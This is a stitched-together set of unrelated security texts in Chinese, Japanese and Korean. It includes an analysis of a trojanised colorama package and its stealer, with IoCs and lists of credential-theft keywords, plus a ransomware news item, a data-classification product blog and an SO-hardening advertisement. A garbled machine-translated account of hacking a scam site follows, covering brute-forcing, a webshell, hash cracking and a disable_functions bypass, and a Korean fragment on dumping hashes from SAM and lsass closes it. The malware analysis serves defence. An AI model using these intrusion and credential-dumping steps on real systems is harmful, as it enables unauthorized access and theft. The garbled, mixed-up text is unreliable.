4 樣本分析4.1 經過攻擊者篡改的colorama模塊colorama是一個開源的Python模塊,能夠提供彩色的終端文本。攻擊者在其__init__.py文件中,通過463個空格將惡意代碼掩藏在第5行末尾,然後將篡改的colorama模塊重新打包並託管於搭建的服務器中。由於__init__.py文件用於定義包的初始化代碼,因此當用戶導入該包時會自動執行其中的惡意代碼。該惡意代碼用於從攻擊者服務器中接收“version”文件中的內容並執行。

图 4-1攻击者掩藏的恶意代码.png

圖4‑1攻擊者掩藏的惡意代碼

4.2 version“version”文件中的代碼使用Fernet算法,通過攻擊者自定義的密鑰對代碼進行解密,然後對解密的代碼進行執行。

图 4-2执行通过Fernet算法进行加解密的代码.png

圖4‑2執行通過Fernet算法進行加解密的代碼

解密後的代碼訪問指定的URL,將“inj”文件內容寫入臨時文件中,並通過python執行。

图 4-3获取“inj”文件内容并执行.png

圖4‑3獲取“inj”文件內容並執行

4.3 inj該文件是一個Python腳本,攻擊者使用中文、日文對變量及函數等進行命名,並且對代碼進行了混淆處理。

图 4-4 inj文件内容.png

圖4‑4 inj文件內容

攻擊者同樣通過空格對關鍵代碼進行掩藏,經解混淆處理後發現,該腳本的作用是使用zlib解壓出下一階段的代碼並進行執行。

图 4-5经过zlib压缩的代码.png

圖4‑5經過zlib壓縮的代碼

4.4 經過zlib解壓的代碼該代碼使用Python編寫,其作用是在%APPDATA、%LOCALAPPDATA%、%TEMP%中選取一個目錄生成一個隨機名稱的文件,將從指定URL中獲取的內容寫入該文件中執行,通過註冊表實現持久化,並向C2服務器回傳受害主機的用戶名稱、IP信息等數據。

图 4-6该代码的作用.png

圖4‑6該代碼的作用

4.5 竊密木馬4.5.1 竊密經過以上多層載荷的傳遞,最終將執行一種使用Python編寫的竊密木馬。其竊密目標如下表所示。

表4‑1竊密目標

瀏覽器

Opera

Chrome

Brave

Vivaldi

Edge

Yandex

Firefox

社交平台

Discord

Telegram

加密貨幣錢包

Atomic Wallet

Guarda

Zcash

Armory

Bytecoin

Exodus

Binance

Jaxx

Electrum

Coinomi

遊戲客戶端

Steam

Riot Client

該竊密木馬也會對目標路徑中含有關鍵詞的文件夾中的文件(最多7個)、以及含有關鍵詞且大小小於500000字節(約488KiB)的文件進行竊取。目標路徑及關鍵詞如下表所示。

表4‑2目標路徑及關鍵詞

目標路徑

桌面

下載

文件

最近使用的項目

關鍵詞

passw

mdp

motdepasse

mot_de_passe

login

secret

bot

atomic

account

acount

paypal

banque

bot

metamask

wallet

crypto

exodus

ledger

trezor

hardware

cold

.dat

discord

2fa

code

memo

compte

to0k3en

backup

secret

seed

mnemonic

memoric

private

key

passphrase

pass

phrase

steal

bank

info

casino

prv

privé

prive

telegram

identifiant

personnel

trading

bitcoin

sauvegarde

funds

récupé

recup

note

4.5.2 回傳該竊密木馬通過HTTP POST將竊取的數據回傳至C2服務器中。

图 4-7 HTTP POST回传方式.png

圖4‑7 HTTP POST回傳方式

當該回傳方式出錯時,該竊密木馬會將竊取的數據上傳至文件共享平台Gofile,並將上傳後形成的下載鏈接記錄在“loggrab”文件中回傳至C2服務器。

图 4-8将数据上传至Gofile.png

圖4‑8將數據上傳至Gofile

5 防護建議5.1 加強終端文件接收和執行防護建議企業用戶部署專業的終端安全防護產品,對本地新增和啟動文件進行實時檢測,並週期性進行網內病毒掃描。安天智甲終端安全系列產品(以下簡稱“智甲”)依托安天自研威脅檢測引擎和內核級主動防禦能力,可以有效查殺本次發現病毒樣本。

智甲可對本地磁盤進行實時監測,對新增文件自動化進行病毒檢測,對發現病毒可在其落地時第一時間發送告警並進行處置,避免惡意代碼啟動。

图 5-1发现病毒时,智甲第一时间捕获并发送告警.png

圖5‑1發現病毒時,智甲第一時間捕獲並發送告警

智甲還為用戶提供統一管理平台,管理員可通過平台集中查看網內威脅事件詳情,並批量進行處置,提高終端安全運維效率。

图 5-2通过智甲管理中心查看并完成威胁事件处置.png

圖5‑2通過智甲管理中心查看並完成威脅事件處置

6 IoCsIoCs

96B4C32AFE965529510A6430C2A7AAD3

150B3626C85EC5AF88B86C0D0E24736B

6580C4990E1E56A7D31A36FF1A0502FA

DD9914573C751C4D8BE4BFE0519F9597

6573627FFC97CA6E82A238561C14A9E4

https[:]//files.pypihosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz

https[:]//pypihosted.org

162.248.100[.]217

StopCrypt 勒索軟件(又名STOP)的新變種在野外被發現,它採用涉及shellcode 的多階段執行過程來逃避安全工具。

StopCrypt,也稱為STOP Djvu,是現有的分佈最廣泛的勒索軟件之一。

因為這種勒索軟件操作通常不針對企業,而是針對消費者,經常產生數万筆400 至1000 美元的小額贖金,以至於很少聽到安全研究人員討論STOP。

STOP勒索軟件通常通過惡意廣告和可疑網站傳播,這些網站會分發偽裝成免費軟件、遊戲作弊和軟件破解的廣告軟件捆綁包。

然而,當安裝這些程序時,用戶就會感染各種惡意軟件,包括密碼竊取木馬和STOP 勒索軟件。

自2018 年首次發布以來,勒索軟件加密器沒有太大變化,發布的新版本主要是為了修復關鍵問題。因此,當新的STOP版本發佈時,由於受到影響的人數較多,值得關注。

新的多階段執行威脅研究團隊在野外發現的STOP 勒索軟件新變種,現在利用多階段執行機制。

最初,惡意軟件加載一個看似不相關的DLL 文件(msim32.dll),可能是為了轉移注意力。它還實現了一系列長時間延遲循環,可能有助於繞過與時間相關的安全措施。

接下來,它使用堆棧上動態構造的API 調用來為讀/寫和執行權限分配必要的內存空間,從而使檢測變得更加困難。

StopCrypt 使用API 調用進行各種操作,包括拍攝正在運行的進程的快照以了解其運行環境。

下一階段涉及進程空洞,其中StopCrypt 劫持合法進程並註入其有效負載以在內存中謹慎執行。這是通過一系列精心編排的API 調用來操作進程內存和控制流來完成的。

一旦執行了最終的有效負載,就會發生一系列操作來確保勒索軟件的持久性,修改訪問控制列表(ACL)以拒絕用戶刪除重要惡意軟件文件和目錄的權限,並創建一個計劃任務來每隔一段時間執行一次有效負載5分鐘。

scheduled-task.webp.jpg

StopCrypt的計劃任務

文件已加密,並且新名稱後會附加“.msjd”擴展名。然而,有數百個與STOP 勒索軟件相關的擴展。

最後,在每個受影響的文件夾中都會創建名為“_readme.txt”的勒索字條,向受害者指示支付贖金以檢索數據。

note.webp.jpg

勒索信樣本

StopCrypt 正逐漸演變為更加隱秘和強大的威脅,儘管StopCrypt 的金錢要求並不高,而且其運營商也不會進行數據盜竊,但它仍會對許多人造成巨大損失。

背景雖然整體上大家做分類分級的背景以及目標基本一致:滿足監管要求;為數據合規和安全體系建設打好基礎。但是實施落地的過程不盡相同,每個客戶所處的行業不同,所要遵循的分類分級標準不同,同時每個客戶的數據也是截然不同,定制化需求是普遍存在。

當前一些業務模式相對簡單的公司,使用excel的方式人工進行數據分類分級;規模更大業務更複雜的公司自研或採購第三方數據分類分級產品或服務。市場上大部分供應商採取產品+服務的方式服務客戶,其中產品敏感識別能力較弱更多以運營功能為主,敏感數據識別更多的以人力服務的方式幫助客戶進行梳理,雖然能滿足監管要求,但是存在以下公認的問題:

马云惹不起马云無法做到持續運營,交付的產物是基於當時的數據情況,後續新增數據要么需要人介入重新進行梳理,要么無法保證能夠持續準確識別

马云惹不起马云準確率低或不穩定,特別是在數據元信息質量較低的情況

马云惹不起马云人力投入成本高

僅滿足監管要求不是我們的終極目標,我們希望用九智匯分類分級產品在滿足監管的前提下,為數據合規和數據安全打下堅實的基礎,所以我們:

马云惹不起马云採集樣本數據,走樣本數據為主、元數據為輔的技術路線,一方面可以保證已建設的識別能力可持續識別,另一方面準確率穩定性不受元數據質量影響

马云惹不起马云提供智能化、 無侵人、開箱即用的同時,打造易用、靈活、強大的自定義功能,滿足客戶的定制化需求,一方面降低交付成本,另一方面降低門檻讓客戶可以自助使用產品進行敏感數據識別。

實踐方案如果沒有系統或產品,純人工來做數據分類分級,基本上大家完成這件事情的步驟都是:找數據在哪裡-梳理數據有哪些-找敏感數據-歸類-分級。同理,我們的產品也遵循這個思路,設計了一套標準的敏感數據識別流程,如下圖:

图片9.png

在這個流程中,每個節點我們代碼層面的設計和實現都遵循可配置的原則,可以根據客戶環境、現狀和需求等情況調整配置進行適配。另外,盡可能的支持客戶自定義,比如在“敏感數據識別”、“自動分類”、“自動審核”等節點我們都添加了易用的自定義功能,方便滿足客戶的定制化需求。

數據源掃描負責數據分類分級落地,碰到的首要問題肯定是:我們有哪些數據,這些數據在哪裡,是否有遺漏的數據未找到?為此我們研發了數據源掃描器來幫助發現數據源,盡可能的幫助客戶自動發現數據源,盡可能的不遺漏數據源,該掃描器目前具備以下兩種能力:

马云惹不起马云部署到指定網絡環境內,掃描和探測網絡環境內可能是數據存儲的目標,比如可以通過掃描一些常用端口來發現關係數據庫

马云惹不起马云按照要求給雲賬號的AK配置權限後,可以通過該AK拉取雲賬號的所有數據存儲資源列表

數據源集成當然除了上面提到的自動掃描,也可以通過輸入endpoint手動添加數據源。自動掃描發現或手動添加的數據源,一般情況下是需要鑑權才能訪問,這就需要我們找到對應負責人提供賬號密碼連接到數據源。產品特別提供了一個密鑰對管理功能來來解決安全問題:

马云惹不起马云加密存儲鑑權信息(如賬號密碼),提升安全性;

马云惹不起马云連接數據源無需直接輸入鑑權信息,選擇已經維護好的密鑰對即可,有效減少接觸到明文鑑權信息的人員,降低洩漏風險。

另外產品交付過程中,實際上每個客戶的數據源類型不一樣,同種類型的數據源也會有不同版本,為此我們在數據源集成這裡採用插件的設計,插件之間、插件和應用之間隔離運行,以幫助我們解決以下問題:

马云惹不起马云同種類型的數據源,支持不同版本,避免不同版本連接驅動之間依賴衝突問題

马云惹不起马云應用無需直接依賴數據源驅動,避免大量數據源驅動依賴帶來的各種衝突問題

马云惹不起马云滿足客戶數據源集成的定制化需求,不侵入應用代碼

目前我們已經支持以下類型數據源:

马云惹不起马云關係數據庫:MySQL、ORACLE、SQLServer、達夢數據庫、IBM DB2、MariaDB、PostgreSQL等

马云惹不起马云大數據平台:Hive、Maxcompute、ClickHouse、Hbase

马云惹不起马云文件存儲:阿里雲OSS、騰訊雲COS、華為雲OBS、AWS S3、Ceph、Minio

马云惹不起马云文檔平台:語雀

元數據同步在數據源連接成功之後,如果要搞清楚到底哪些數據,我們就需要讀取數據源內部的結構比如表、字段、文件夾、文件的元信息,這些元信息主要有以下作用:

马云惹不起马云為抽樣提供參考依據,比如可以根據表的數據量採取不同的抽樣方法,保證樣本的隨機性,以及降低對數據源的性能和穩定性影響

马云惹不起马云為敏感數據識別提供上下文,幫助進一步確定敏感數據類型,比如根據抽樣數據我能確定該字段是姓名,但是如果有字段備註、字段名稱、表名、表備註信息以及同表其他字段信息,就有可能進一步確定該字段是否是法人姓名

另外,稍微量級大一點的業務就會涉及分庫分錶,這也是在元數據同步要解決的問題,需要將分庫分錶的庫、表進行合併,抽樣的時候也需要考慮去不同的庫、不同的的表進行抽樣。

數據抽樣數據抽樣是一個體力活,也是一個技術活。說是體力活是因為每一種數據源類型甚至每一個類型的數據源版本可能抽樣方法都不一樣,需要單獨做技術實現。說是技術活是因為無論是哪一種數據源類型,不僅要考慮能否抽到數據,還要保證:

马云惹不起马云抽樣數據的隨機性和數量,只有這樣才能保證識別準確率

马云惹不起马云抽樣對數據源的性能和穩定性影響必須要做到最小,即使連接的備庫,每個客戶都非常在意這一點,如果在這一點無法取得客戶信任,項目就非常難往前推進

即使解決了上面兩個最重要的問題,還有保證抽樣性能和穩定性,你可能會遇到以下問題:

马云惹不起马云大數據平台(如Hive)抽樣如果在保證樣本隨機性的情況下,不觸發MR任務

马云惹不起马云上百億的大表,如何進行抽樣才能保證樣本隨機性、性能

马云惹不起马云大字段,單次抽太多肯定會引發IO問題,如何進行分批抽樣

马云惹不起马云同步抽樣肯定會存在超時問題,異步化或回調,哪種方式更好

識別敏感數據敏感數據識別是整個流程中最核心的一個環節,也是算法同學發揮的舞台,首先是要把算法能力集成好,算法需要使用的能力涉及到:

马云惹不起马云正則,由於會有大量的正則匹配,Java自帶的正則能力是無法滿足性能要求的,需要使用RE2或HyperScan

马云惹不起马云PMML,機器學習模型

马云惹不起马云ONNX,深度學習模型

马云惹不起马云NVIDIA Triton Server,推理服務,主要用於非結構化數據識別

由於每個客戶所處的行業不一樣,業務數據更是截然不同,為根據客戶的數據現狀實現更好識別效果以及滿足客戶的定制化需求,我們支持了可自助配置、訓練的敏感數據識別能力:

马云惹不起马云基與YAML格式標準化的識別邏輯配置能力,可自助研發識別能力並錄入到產品中

马云惹不起马云自助配置規則樹,基於規則樹進行敏感數據識別

马云惹不起马云自助模型訓練,目前已支持ID類型的結構化數據,圖片、文檔

自動分類一般情況下,識別出某種類型敏感數據之後,就能根據映射關係映射到唯一的分類下,並映射到對應的分級,但是某些行業要求更高,比如證券行業,根據證券行業分類分級標準,同種類型的敏感數據可能需要再分類放到不同分類下,如要區分“姓名”是“個人投資者信息”還是“機構投資者法人信息”,這就需要我們在識別出某個字段是“姓名”之後進一步分類,這個時候我們可以根據以下信息進行分類:

马云惹不起马云元信息,如字段名稱、字段備註、表名稱、表備註等

马云惹不起马云同表其他字段命中的敏感數據類型,比如如果同表其他字段有公司名稱,那該字段屬於“法人”的概率就更高

同時,分類的識別邏輯也基於YAML格式進行了標準化,可自助研發識別能力並錄入到產品中。

自動審核機器自動識別,大家非常關注的就是準確率,很難做到100%準確,所以我們設置了一個置信度的概念,用來表示識別準確率。除了準確率,每個客戶的肯定有一些自己的特殊情況,比如說某個客戶每張表都有5個無任何業務含義的“id”、“gmt_create”、“gmt_modified”、“creator”、“modifier”、“is_deleted”字段,其中“creator”、“modifier”雖然是填的姓名,但是並不是敏感數據。為解決這類跟客戶數據現狀相關的特殊情況,我們特別提供了自定義規則能力,規則可以根據以下特徵自動決策是否通過審核:

马云惹不起马云命中的敏感數據類型,以及對應置信度

马云惹不起马云字段/文件的元信息,如文件名稱、字段名稱、字段備註等

马云惹不起马云字段/文件歷史人工審核結果

要約

最後のストーリーでは、詐欺サーバーの最高の権限は取得されていますが、これは技術的な制御のみであると述べています。ケースを提出したい場合は、携帯電話、銀行カードなどの人員にできるだけ多くの情報を提供する必要がありますが、現時点では収集されていません(特定の時間のソースコードに銀行口座があると述べましたが、それはテストアカウントであることがわかりましたが、Baiduはそれの多くから出てきたことがわかりました.

情報収集

baota Backstage

最初に思い浮かぶのは、私が以前に入ったことのないパゴダパネルのバックエンドです。ログイン情報などがあるはずですが、ログインパスワードは取得できませんでしたが、これはあまり影響を与えませんでした。パゴダデータベースファイル(パネル/data/default.db、sqliteデータベースファイル)に直接アクセスできるため、アカウントに入ってバックアップして、通常のアカウントが圧倒されるのを防ぐためにパスワードを設定します。

cmd-change-baota-password

cmd-baota-backup-user

ログをきれいにして、喜んでログインします。 ㄏ(▔、▔)ㄏ:

front-baota-home

私が最初に見るのはアカウント名です。管理者の携帯電話番号だと思います。ここで完全に読むことができない場合は、設定にアクセスして見てください。

front-baota-lookup-phone-elements

ソースコードからは見られないアスタリスクを備えた4つのミドルディジットを以下に示しますが、これらも紙のトラであり、その後、インターフェイスがデータを要求し、返品情報が完全な携帯電話番号であることがわかったためです。 WeChatで検索して、このアカウントを見つけました。

wechat-baota-phone

しかし、その真正性は不明であり、おそらく単なる表紙なので、最初に覚えておいてください。

新しい出発点

将来のある時点で情報を収集し続けようとしていたとき、私のドメイン名とIPにさえもアクセスできないことがわかりました。私は次の数日間で試してみましたが、収穫後はおそらく逃げていると感じました。当然のことながら、いくつかの情報を除いて、私が取得したすべての許可は無駄になりました。その後、警察が実際に私に連絡したこともありました(私はお茶を飲まなかった、私は良い市民$ _ $です)。私はもう一度私の運を試したかったので、興味深いことが再び起こりました。訪問する前のIPには、このページが表示されました。

front-user-login

まあ、私はその瞬間にタイトルとアイコンをほとんど信じていたことを認めなければならず、それを貫通の正当性を考慮するために3秒を無駄にしました。慎重に考えると、もしそれがその銀行だったら、どのようにしてサーバーを犯罪歴のあるIPに置くことができるかを知っているでしょうか?ページのコンテンツは不合理で、アカウントを登録してログインしました。

front-user-home-1

front-user-home-2

front-user-home-3

脆弱性マイニング

ポートサービス

=_=まあ、それは良いことです。 NSLookupやDIGなどの通常のツールはドメイン名からIPまでのみ解析できるため、次の分析では上記の推測も確認します。これは、IPでドメイン名を確認するトリックでもあります。ただし、HTTPSを使用するそのようなサイトに遭遇した場合、IPへの直接アクセスを制限しない場合は、ページを正常に入力し、ブラウザの左上隅にあるプロトコル名をクリックして、使用する証明書を表示できます。通常の証明書の「発行」値は、サイトのドメイン名です。明らかにここではなく、一時的またはテスト証明書である必要があります。

front-https-cert

次に、ドメイン名を分析します。

cmd-nslookup-domain

ここでは、パブリックDNSを通じて解決されたIPが以前に使用されたものと互換性がないように見えることがわかりました。慎重に考える場合、CDNサービスが使用されるはずです。これらのIPに対応するサーバーは、すべてサービスを提供する3つのパーティ機関です。浸透はそれほど意味がなく、簡単ではありません。ここでは、ソースステーションIPを介して直接入力して申し訳ありません。そうしないと、ドメイン名とCDNを介してソースステーションを取得するのは別の頭痛の種です。

次に、ドメイン名がある場合は、サブドメインの波をスキャンして、潜在的な関連サイトを取得します。

cmd-enum-subdomain

かなりの数があります。最初にバックアップしてから、フロントデスクページの返品データから分析することを覚えています。これはPHPを使用してLinuxサーバーであることがわかりました。これは、以前のWindows IISサーバーとは異なります。ドメイン名がリリースまたは再び販売されているようです。それでは、新しいポートからポートをスキャンしましょう。

nmap-normal-scan

私はまだおなじみの数字を見つけましたが、最初にパスワードを実行しました。私の過去の経験によると、スマートマスターに出会ったときにネットを逃したかもしれないので、思慮深いフルポートスキャンサービスも必要です。

nmap-all-port-scan

確かにいくつかあります。プロトコルに基づいてどのサービスがあるかを大まかに推測できます。それを一つ一つ試してみてください、そして、1つはSSHログインであり、もう1つはパゴダのバックエンドであることがわかります。

cmd-ssh-login

front-bt-login

パゴダにはまだログイン検証があり、爆破する希望はないので、最初に脇に置くことしかできません。

バックエンドディレクトリ

ディレクトリを爆発させる前に、数回ヒットした後、盲目的に背景パスを推測しました。

front-admin-login-jump

front-admin-login

win-win?存在しないものは、片面╮(╯_╰)╭だけです。ページの簡単な分析の後、ここで魔法のツールを使用する必要はありません。 wfuzzを使用して、アカウントのパスワードの波を実行するだけです。

cmd-wfuzz-admin-login

最初に舞台裏で走り、他の場所を回りましょう。しばらくすると、結果、Yoxi!入って見てください:

front-admin-home

front-admin-products

front-admin-user-bank

front-admin-user-info

front-admin-user-charge

スズメは小さく、すべての内臓がありますが、予想される興味深いものがいくつかあります。

front-admin-user-withdraw

front-admin-risk-control

撤退は言いません。成功することができるかどうかは、管理者の気分によって異なります。以下のものが完全に理解されていないかどうかは関係ありません。たぶん誰もが真実を理解しています。とにかく、それだけです。私はあなたの運命をコントロールし、あなたのリスクを制御します(¬‿¬)。

webshellを取得

私はしばらくして、ページを分析して搾取可能な脆弱性を見つけて、それをガジェットに渡しました。

front-backdoor-phpinfo

再び剣を描く時が来ました:

ant-file-site-root

私はディレクトリに行きましたが、それは単純ではないことがわかりました。以前のドメイン名のいくつかが登場しました。それは小さなサイトグループでしょうか?少し後に彼らの建築を理解するのに時間がかかりました。複数のセカンドレベルのドメイン名が現在のIPを指し、いくつかの異なるCDNアドレスを持っています。次に、第2レベルのドメイン名が別のサーバーIPを指します。現在のIPのサーバーには、別の第1レベルのドメイン名に対応する第2レベルのドメイン名が含まれています。これらのサイトは、ほぼ同じコードセットを共有しています。=_=本当に複雑です。それは、うまく計画されていないビジネス拡大のためですか?しかし、それは問題ではありません。サーバーに対応するだけです。

ant-file-more-sites

次に、 /etc /passwdファイルにアクセスしてユーザーを表示します。このファイルはLinuxのすべてのユーザーがアクセスできるためです。

ant-file-passwd

すべてがデフォルトアカウントです。現在、WWWアカウントであるため、 /etc /Shadowファイルにアクセスする許可がありません。このファイルは、システム内のすべてのアカウントのパスワードのハッシュ値を記録するため、次のステップは権限を上げることです。

システムディレクトリを閲覧するとき、PHPMyAdminのログインアドレスを見つけました。前にスキャンしなかったのも不思議ではありません。アクセスポータルを確認するためのランダムな複雑なパスを生成するようにパゴダで構成されている必要があります。

ant-file-pma-path

front-pma-login

アカウントとパスワードは簡単ですが、特定の手段で取得できます。残念ながら、他のパーティは構成されたルートアカウントではなく、サイトにちなんで名付けられたサブアカウントです。これは、サーバーに複数のサイトがあり、権限が高くないためです。最初にログインして、見てください:

front-pma-home

サイトのフロントとバックエンドからのデータが含まれています。最初に有用な情報を見つけます:

front-pma-databases

front-pma-admin-pass-hash

テーブルストレージ管理者情報があります。私はあきらめました。ご存知の場合は、コメントできます。テーブルにはパスワードのハッシュ値があります。最初にそれを確認して、あなたの運を試してください:

front-pma-admin-pass-text

実際には小さなノートブックがあります(実際に他のサイトを入力するための基礎があります)。

小さなエピソード

ディレクトリを閲覧するときに、いくつかの絶妙なガジェットも見つかりました。

ant-file-backdoors

ant-code-backdoor-abcd-passwd

front-backdoor-abcd-login

front-backdoor-abcd-home

front-backdoor-adminer

front-backdoor-file-manage

場所は大きくなく、とても活気があります。反対側は大きな男性でいっぱいで、彼らを怒らせる余裕はありません。まだいくつかのグループのグループがいるようで、彼らを静かに嘘をつき、お互いを愛し、殺します、私は何も見えませんでした(x_x)。

disable_functionsバイパス

私はもともと仮想端末を開くことを計画していましたが、電力を増やす方法を喜んで研究しましたが、稲妻のストライキが開かれました。

ant-shell-error

言うまでもなく、システム実行機能のほとんどは無効です。これは、PHP構成アイテムのDisable_Functions値であり、PHPスクリプトでシステムコマンドを実行できるいくつかの機能を制限するために使用されます。もちろん、いくつかの脆弱性バイパス法もあります。時間を節約するには多くの方法があるので、1つずつ手動でテストすることはなく、既存の統合プラグインを直接使用することはありません。

ant-plugin-disable-functions-menu

ant-plugin-disable-fun-1

Putenvが無効になっているのを見ると、少しがっかりします。これだけでは、ほとんどのバイパスメソッドを思いとどまらせることができますが、使用する方法がまだ残っているため(PHP-FPM)、まだ試してみる必要があります。システム構成ファイルをチェックすることにより、FPMモジュールで使用されるソケット通信方法が構成されてから開始されることがわかりました。

ant-plugin-disable-fun-2

ant-plugin-disable-fun-3

ant-plugin-disable-fun-start

最後のプロンプトはすべて成功しています。チェックによって生成された動的リンクライブラリファイルも正常にアップロードされましたが、端末はまだ開くことができませんでした。返品データが空であることを促し続けました。最初は、プラグインで使用される関数もPHPによって無効になっているため、戻りが空になり、他の搾取可能な脆弱性は見つかりませんでした。このため、それは週のほとんどで立ち往生していました。その後、情報を確認し、使用率を手動で実装する準備をしました。

実際、この方法の原則は大まかです。PHPは動的な言語ですが、Nginxはこれらを処理できないため、HTTPプロトコルと比較できるFastCGIプロトコルが中央にfastCGIプロトコルがあります。 Nginxは、受信したクライアント要求をFastCGIプロトコル形式のデータに変換し、PHPモジュールのPHP-FPMを使用してこれらのFASTCGIプロトコルデータを処理し、処理のためにPHPインタープレターに渡します。完了後、結果データは以前と同じパスでブラウザクライアントに返されます。したがって、通常、LinuxサーバーでPHPプログラムを開始すると、PHP-FPMと呼ばれるサービスが開始されます。これは通常、マシンの9000ポートまたはソケットファイルをリッスンし、NGINX構成ファイルFastCGIアクセスアドレスもこのポートまたはファイルに割り当てられます。これらはすべて、上記の通信プロセスを完了するためです。

ここで利用可能なポイントは、Nginxへのリクエストをバイパスし、PHP-FPMサービスと直接通信することです。理想的には、構成エラーのため、9000がネイティブインターフェイスではなく、外部ネットワークインターフェイスに耳を傾けます。もちろん、この状況は非常にまれですが、これはローカルマシンを聴くことができないという意味ではありません。 PHPプログラムファイルが書き込み可能であるという前提の下で、プログラム内のCurlインターフェイス(またはStream_Socket_Clientがソケットファイル通信要求を開始する)を介してサーバーのネイティブポート9000へのリクエストを開始でき、FastCGIクライアントを模倣して対応する形式のデータを送信し、NGINXをbypass nigpass niart with phpppmatで送信することができます。 SSRF(サーバー側のリクエスト偽造)と呼ばれるこの操作の別のことわざがあります。つまり、サーバー要求の偽造、サーバーはクライアントが正常にアクセスできないイントラネットリソースにアクセスできます。もちろん、その名前と非常によく似た方法もあります。CSRF(クロスサイトリクエスト偽造、クロスサイトリクエスト偽造)がありますが、これは他のクライアントからのログイン資格情報の盗みです。

ここに別の問題があるかもしれません。このように回った後、私はまだ最終的にPHP-FPMを渡します。この構成の関数制限はまだ存在します。

眾多開發者認為SO文件相對而言更加安全,並將許多核心算法、加密解密方法、協議等放在SO文件中。但是,黑客可以通過反編譯SO庫文件,竊取開發者花費大量人力物力財力的研發成果,進行創意竊取或二次打包,使得開發者和用戶利益受損。

image.png

作為知名移動信息安全綜合服務提供商,愛加密在SO加固方面擁有3大技術優勢。

一、愛加密so VMP技術,對so文件的源碼進行虛擬化保護,實現數據隱藏、防篡改、防Dump,增加逆向分析的難度。

二、愛加密so Linker技術,對so文件代碼段、導出表和字符串等進行加密壓縮,在函數運行時動態解密,防止so文件被靜態分析,通過內存DUMP源碼。

三、多重保護:多種so加固技術可以聯合使用,增大了代碼反彙編調試破解難度,提高so文件的安全性。愛加密可對Android及Linux 進行so加固,本次僅講述Android SO加固方面的6大核心技術,即so加殼、so源碼混淆、so源碼虛擬化保護、so防調用、so Linker、so融合。

so加殼利用自定義加密算法對C/C++源碼編譯出來的so文件進行加殼,將so文件的編碼進行改變,使加殼後的so文件無法通過ida反編譯工具查看導出符號,使so文件無法正確反編譯和反彙編。加固後效果如圖:

image.png

so源碼混淆愛加密通過對so文件的源碼進行混淆,降低黑客反編譯的可讀性,增加反編譯難度。可多種混淆方式聯用,可根據自己的實際需求選擇混淆強度,包含字符串加密、等效指令替換、基本塊調度、基本塊分裂、虛假控制流、控制流扁平化、控制流間接化,本次篇幅有限僅介紹前四種技術手段。

字符串加密:程序當中的字符串,往往會曝露一些關鍵的信息。如圖中所示字符串,表明此部分為用戶登錄的代碼。黑客分析之後,可攻擊用戶登錄頁面,獲取用戶賬號密碼等信息。

image.png

愛加密將對源代碼進行語法分析以及邏輯分析,解析出代碼中字符串的位置,採用隨機加密、運行時動態解密的方式對字符串進行混淆以及加密,增大表態分析難度,使破解者無法使用它來快速定位程序核心代碼的位置。

等效指令替換:對C/C++代碼中的函數所對應的原始代碼塊指令進行等效轉換,利用程序代碼的多樣性,增加破解者分析難度,有效的保護核心算法的原始邏輯。

image.png

本塊調度與分裂:基本塊指程序中一段按照順序執行的語句序列,只有一個出口一個入口。控制流只能從基本塊的第一條指令進入,最後一條指令離開。基本塊調度是將C/C++代碼中函數的所有基本塊交由調度塊進行分發,使其在反編譯工具中無法逆向出真實的代碼,有效保護源代碼,增加破解者分析代碼的難度。基本塊分裂方面可將一個基本塊隨機分裂成多個基本塊,使控制流更複雜。

image.png

so源碼虛擬化保護對SDK中so文件的源碼進行虛擬化保護,實現數據隱藏、防篡改、防Dump,增加逆向分析的難度。 so文件中經過虛擬化保護後的函數,其原有指令已被清空,而真正的代碼已經被編譯成了虛擬機字節碼隱藏起來。

image.png

so防調用so防調用可以支持綁定授權APP的包名或者簽名文件信息,可以在運行過程中對包名或者簽名信息進行動態的校驗,確保是正確的授權應用。

so Linker愛加密so Linker安全加固對整個so文件進行加密壓縮,包括代碼段、導出表和字符串等,運行時再解密解壓縮到內存,從而有效的防止so數據的洩露。使用so Linker,隱藏so的基地址,有效的防止so被DUMP。使用函數運行時動態加解密技術(FRAEP),在運行前進行解密,運行結束後進行加密,從而保證了so即使被DUMP,也無法反彙編出源碼(so函數指令不運行時,在內存中處於加密狀態)。 so Linker代碼使用愛加密自有的so VMP技術保護,大大增強了反調試代碼被跟踪的難度。

so Linker安全加固在技術方面擁有5大優勢:

1.對so進行了整體加密壓縮,對整個so進行了有效保護,包括代碼段、符號表和字符串等。 2.使用了函數運行時動態加解密技術(FRAEP),內存中so即使被DUMP,處於加密狀態的函數也無法被反彙編。

3.用so Linker方案後,so的基地址被隱藏,無法通過maps文件查看,提高了被DUMP難度。

4.使用了高強度的反調試技術,增大了被DUMP和被調試的難度。

5.so Linker代碼由愛加密VMP 技術保護,加大了代碼反彙編調試破解難度,效果如下圖:

image.png

so融合該技術對SO進行了整體加密壓縮,相對於傳統的加殼技術,有效的對整個SO進行了保護,包括代碼段、符號表和字符串等。 SO 融合代碼由愛加密VMP保護,加大了代碼反彙編調試破解難度。用SO 融合方案後,SO文件及SO的基地址也被隱藏,無法通過maps文件查看,且使用了更高強度的反調試技術,增強了被dump和被調試的難度。

image.png

愛加密移動應用安全加固平台為開發者提供全面的移動應用安全加固技術,不僅可進行SO文件加固,更包括Android應用加固、iOS應用加固、遊戲應用加固、H5文件加固、微信小程序加固、SDK加固和源對源混淆加固技術,從根本上解決移動應用的安全缺陷和風險,使加固後的移動應用具備防逆向分析、防二次打包、防動態調試、防進程注入、防數據篡改等安全保護能力,本文介紹的僅為愛加密移動應用安全加固平台中Android SO加固技術。

image.png

愛加密作為國內知名的移動信息安全綜合服務提供商,通過不斷探索與實踐,已覆蓋政企、運營商、金融、醫療、教育、能源等多個行業的安全業務場景。並參與了中央網信辦、工信部、公安部、市場監督管理總局等國家監管單位制定移動應用、移動支付相關的標準規範;未來將繼續憑藉自身技術優勢、業務資質優勢、產品方案優勢等,守護互聯世界。

현재 기계의 일반 텍스트 비밀번호를 받으십시오

도메인 해시를 내보내기 전에 먼저 현재 컴퓨터의 로컬 해시 비밀번호를 내보내려고 노력할 수 있습니다. 도메인 사용자가 이전 에이 컴퓨터에 로그인하는 경우 도메인 사용자 또는 도메인 관리자의 계정을 직접 얻을 수 있습니다.

Windows 운영 체제에서 SAM 데이터베이스 (C: \ Windows \ System32 \ Config \ Sam)는 로컬 사용자의 해시를 저장합니다.

로컬 인증 프로세스에서 로컬 보안 권한 서비스 프로세스 lsass.exe도 메모리 (DMP 파일)의 사용자 비밀번호를 캐시합니다.

